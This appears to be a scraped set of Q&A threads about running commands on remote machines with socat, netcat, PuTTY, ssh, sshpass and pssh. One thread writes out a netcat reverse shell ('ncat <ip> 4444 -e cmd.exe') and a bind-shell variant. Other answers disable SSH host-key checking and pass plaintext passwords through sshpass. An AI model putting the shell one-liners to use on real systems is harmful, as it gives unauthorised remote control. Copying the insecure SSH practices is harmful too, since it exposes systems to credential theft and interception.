I have an up and running service ( is an emulated machine or something similar ) on my local Ubuntu machine and i'm able to access it through a serial port and following socat command:
> sudo socat file:`tty`,raw,escape=0x1d,echo=0 unix-connect:/tmp/sample-serial
root#sample:~#
I exit from the service and with the following socat command i can execute the bash file ( is in local machine ) to this service.
> sudo socat file:my_bash_script.sh unix-connect:/tmp/sample-serial
If i enter again with the first socat command in the service i can see my_bash_script.sh output going on in the service terminal
The question is: how i can see the output of this my_bash_script.sh from local machine?
Consider that in the service, socat command not exist then i can't open a TCP connections or similar.
Kind Regards
in the second command, the file: address appends the command output to the script. Try something like
sudo socat file:my_bash_script.sh!!- unix-connect:/tmp/sample-serial
to get command output on your terminal.
Please note that '!' may substitute part of the command line with some terminal history, type
set +H
to turn this behaviour off.
Related
I'm trying to figure out a way to open a netcat connection from a listening Linux machine and immediately execute a command on the targeted Windows machine (ex. dir or ipconfig).
Something similar to this:
Linux machine:
nc -lvp 4444; dir
Windows machine:
ncat 192.168.1.25 4444 -e cmd.exe
I need to immediately run a command as soon as a connection is made with the Windows machine.
If this can be accomplished with a bash script, that would be great too. I tried scripting it, but it will not register any commands after dropping into the Windows command shell.
Any help or suggestions would be greatly appreciated! Thanks.
https://jkeohan.wordpress.com/2010/04/30/using-netcat-to-spawn-a-remote-shell/
this might be of help.
It should be:
##On the server. It opens the
##listening machine's shell.
ncat -lkv <port number> -c "sh"
##On the client. You type your commands on your terminal
##and the listening machine will be your target.
ncat -v <listening server's IP> <port number>
The command should be on nc's standard input, not a local command to run after nc finishes.
printf "dir\n" | nc -lvp 444
See also Pass commands as input to another command (su, ssh, sh, etc)
I want to run multiple commands automatically like sudo bash, ssh server01, ls , cd /tmp etc at server login..
I am using Remote command option under SSH in putty.
I tried multiple commands with delimiter && but not working.
There is a some information lacking in your question.
You say you want to run sudo bash, then ssh server01.
Will sudo prompt for a password in your remote server?
Assuming there is no password in sudo, running bash will open another shell waiting for user input. The command ssh server01 will not be run until that bash shell is exited.
If you want to run 2 commands, try first simpler ones like:
ls -l /tmp ; echo "hi there"
or if you prefer:
ls -l /tmp && echo "hi there"
Does this work?
If what you want is to run ssh after running bash, you can try :
sudo bash -c "ssh server01"
That is probably because the command is expected to be a program name followed by parameters, which will be passed directly to the program. In order to get && and other functionality that is provided by a command line interpreter such as bash, try this:
/bin/bash -c "command1 && command2"
I tried what I suggested in my previous answer.
It is possible to run 2 simple commands in putty separated by a semicolon. As in my example I tried with ls and echo. The remote server runs them and then the session closes.
I also tried to ssh to a remote server that is configured for not asking for a password. In that case, it also works, I get connected to the 2nd server and I can run commands on it. Upon exit, the 2 connections are closed.
So please, let us know what you actually need / want.
You can execute two consecutive commands in PuTTY using a regular shell syntax. E.g. using ; or &&.
But you want to execute ssh server01 in sudo bash shell, right?
These are not two consecutive commands, it's ssh server01 command executed within sudo bash.
So you have to use a sudo command-line syntax to execute the ssh server01, like
sudo bash ssh server01
Per the title, I'm getting the following warning when I try to scp through an ssh tunnel. In my case, I cannot scp directly to foo because port 1234 on device foo is being forwarded to another machine bar on a private network (and bar is the machine that is giving me a tunnel to 192.168.1.23).
$ # -f and -N don't matter and are only to run this example in one terminal
$ ssh -f -N -p 1234 userA#foo -L3333:192.168.1.23:22
$ scp -P 3333 foo.py ubuntu#localhost:
ubuntu#localhost's password:
stty: standard input: Inappropriate ioctl for device
foo.py 100% 1829 1.8KB/s 00:00
Does anyone know why I might be getting this warning about Inappropriate ioctl for device?
I got the exact same problem when I included the following line on my ~/.bashrc:
stty -ixon
The purpose of this line was to allow the use of Ctrl-s in reverse search of bash.
This gmane link has a solution: (original link dead) => Web Archive version of gmane link
'stty' applies to ttys, which you have for interactive login sessions.
.kshrc is executed for all sessions, including ones where stdin isn't
a tty. The solution, other than moving it to your .profile, is to
make execution conditional on it being an interactive shell.
There are several ways to check for interecative shell. The following solves the problem for bash:
[[ $- == *i* ]] && stty -ixon
Got the same issue while executing the script remotely. After many tries didn't get any luck to solve this error. Then got an article to run a shell script through ssh. This was an issue related to ssh, not any other command. ssh -t "command" -t will allocate a pseudo TTY to the ssh and this error won't come.
at the end i created a blank .cshrc file ( for ubuntu 18.04). worked
I want to create a script that runs shell commands on a remote Linux machine and print out the result. Some thing like a "run once" SSH. Or for those familiar with Android development, something like "adb shell". For example, I want to run "ls" on my remote machine and display the results on the local host.
This is supported directly by ssh:
ssh [options] [user#]hostname [command]
eg
ssh user#host ls
If not command is given an interactive shell is usually run by default.
I have two questions:
There are multiple remote linux machines, and I need to write a shell script which will execute the same set of commands in each machine. (Including some sudo operations). How can this be done using shell scripting?
When ssh'ing to the remote machine, how to handle when it prompts for RSA fingerprint authentication.
The remote machines are VMs created on the run and I just have their IPs. So, I cant place a script file beforehand in those machines and execute them from my machine.
There are multiple remote linux machines, and I need to write a shell script which will execute the same set of commands in each machine. (Including some sudo operations). How can this be done using shell scripting?
You can do this with ssh, for example:
#!/bin/bash
USERNAME=someUser
HOSTS="host1 host2 host3"
SCRIPT="pwd; ls"
for HOSTNAME in ${HOSTS} ; do
ssh -l ${USERNAME} ${HOSTNAME} "${SCRIPT}"
done
When ssh'ing to the remote machine, how to handle when it prompts for RSA fingerprint authentication.
You can add the StrictHostKeyChecking=no option to ssh:
ssh -o StrictHostKeyChecking=no -l username hostname "pwd; ls"
This will disable the host key check and automatically add the host key to the list of known hosts. If you do not want to have the host added to the known hosts file, add the option -o UserKnownHostsFile=/dev/null.
Note that this disables certain security checks, for example protection against man-in-the-middle attack. It should therefore not be applied in a security sensitive environment.
Install sshpass using, apt-get install sshpass then edit the script and put your linux machines IPs, usernames and password in respective order. After that run that script. Thats it ! This script will install VLC in all systems.
#!/bin/bash
SCRIPT="cd Desktop; pwd; echo -e 'PASSWORD' | sudo -S apt-get install vlc"
HOSTS=("192.168.1.121" "192.168.1.122" "192.168.1.123")
USERNAMES=("username1" "username2" "username3")
PASSWORDS=("password1" "password2" "password3")
for i in ${!HOSTS[*]} ; do
echo ${HOSTS[i]}
SCR=${SCRIPT/PASSWORD/${PASSWORDS[i]}}
sshpass -p ${PASSWORDS[i]} ssh -l ${USERNAMES[i]} ${HOSTS[i]} "${SCR}"
done
This work for me.
Syntax : ssh -i pemfile.pem user_name#ip_address 'command_1 ; command 2; command 3'
#! /bin/bash
echo "########### connecting to server and run commands in sequence ###########"
ssh -i ~/.ssh/ec2_instance.pem ubuntu#ip_address 'touch a.txt; touch b.txt; sudo systemctl status tomcat.service'
There are a number of ways to handle this.
My favorite way is to install http://pamsshagentauth.sourceforge.net/ on the remote systems and also your own public key. (Figure out a way to get these installed on the VM, somehow you got an entire Unix system installed, what's a couple more files?)
With your ssh agent forwarded, you can now log in to every system without a password.
And even better, that pam module will authenticate for sudo with your ssh key pair so you can run with root (or any other user's) rights as needed.
You don't need to worry about the host key interaction. If the input is not a terminal then ssh will just limit your ability to forward agents and authenticate with passwords.
You should also look into packages like Capistrano. Definitely look around that site; it has an introduction to remote scripting.
Individual script lines might look something like this:
ssh remote-system-name command arguments ... # so, for exmaple,
ssh target.mycorp.net sudo puppet apply
The accepted answer sshes to machines sequentially. In case you want to ssh to multiple machines and run some long-running commands like scp concurrently on them, run the ssh command as a background process.
#!/bin/bash
username="user"
servers=("srv-001" "srv-002" "srv-002" "srv-003");
script="pwd;"
for s in "${servers[#]}"; do
echo "sshing ${username}#${s} to run ${script}"
(ssh ${username}#${s} ${script})& # Run in background
done
wait # If removed, you can run some other script here
If you are able to write Perl code, then you should consider using Net::OpenSSH::Parallel.
You would be able to describe the actions that have to be run in every host in a declarative manner and the module will take care of all the scary details. Running commands through sudo is also supported.
For this kind of tasks, I repeatedly use Ansible which allows to duplicate coherently bash scripts in several containets or VM. Ansible (more precisely Red Hat) now has an additional web interface AWX which is the open-source edition of their commercial Tower.
Ansible: https://www.ansible.com/
AWX:https://github.com/ansible/awx
Ansible Tower: commercial product, you will probably fist explore the free open-source AWX, rather than the 15days free-trail of Tower
There is are multiple ways to execute the commands or script in the multiple remote Linux machines.
One simple & easiest way is via pssh (parallel ssh program)
pssh: is a program for executing ssh in parallel on a number of hosts. It provides features such as sending input to all of the processes, passing a password to ssh, saving the output to files, and timing out.
Example & Usage:
Connect to host1 and host2, and print "hello, world" from each:
pssh -i -H "host1 host2" echo "hello, world"
Run commands via a script on multiple servers:
pssh -h hosts.txt -P -I<./commands.sh
Usage & run a command without checking or saving host keys:
pssh -h hostname_ip.txt -x '-q -o StrictHostKeyChecking=no -o PreferredAuthentications=publickey -o PubkeyAuthentication=yes' -i 'uptime; hostname -f'
If the file hosts.txt has a large number of entries, say 100, then the parallelism option may also be set to 100 to ensure that the commands are run concurrently:
pssh -i -h hosts.txt -p 100 -t 0 sleep 10000
Options:
-I: Read input and sends to each ssh process.
-P: Tells pssh to display output as it arrives.
-h: Reads the host's file.
-H : [user#]host[:port] for single-host.
-i: Display standard output and standard error as each host completes
-x args: Passes extra SSH command-line arguments
-o option: Can be used to give options in the format used in the configuration file.(/etc/ssh/ssh_config) (~/.ssh/config)
-p parallelism: Use the given number as the maximum number of concurrent connections
-q Quiet mode: Causes most warning and diagnostic messages to be suppressed.
-t: Make connections time out after the given number of seconds. 0 means pssh will not timeout any connections
When ssh'ing to the remote machine, how to handle when it prompts for
RSA fingerprint authentication.
Disable the StrictHostKeyChecking to handle the RSA authentication prompt.
-o StrictHostKeyChecking=no
Source: man pssh
This worked for me. I made a function. Put this in your shell script:
sshcmd(){
ssh $1#$2 $3
}
sshcmd USER HOST COMMAND
If you have multiple machines that you want to do the same command on you would repeat that line with a semi colon. For example, if you have two machines you would do this:
sshcmd USER HOST COMMAND ; sshcmd USER HOST COMMAND
Replace USER with the user of the computer. Replace HOST with the name of the computer. Replace COMMAND with the command you want to do on the computer.
Hope this helps!
You can follow this approach :
Connect to remote machine using Expect Script. If your machine doesn't support expect you can download the same. Writing Expect script is very easy (google to get help on this)
Put all the action which needs to be performed on remote server in a shell script.
Invoke remote shell script from expect script once login is successful.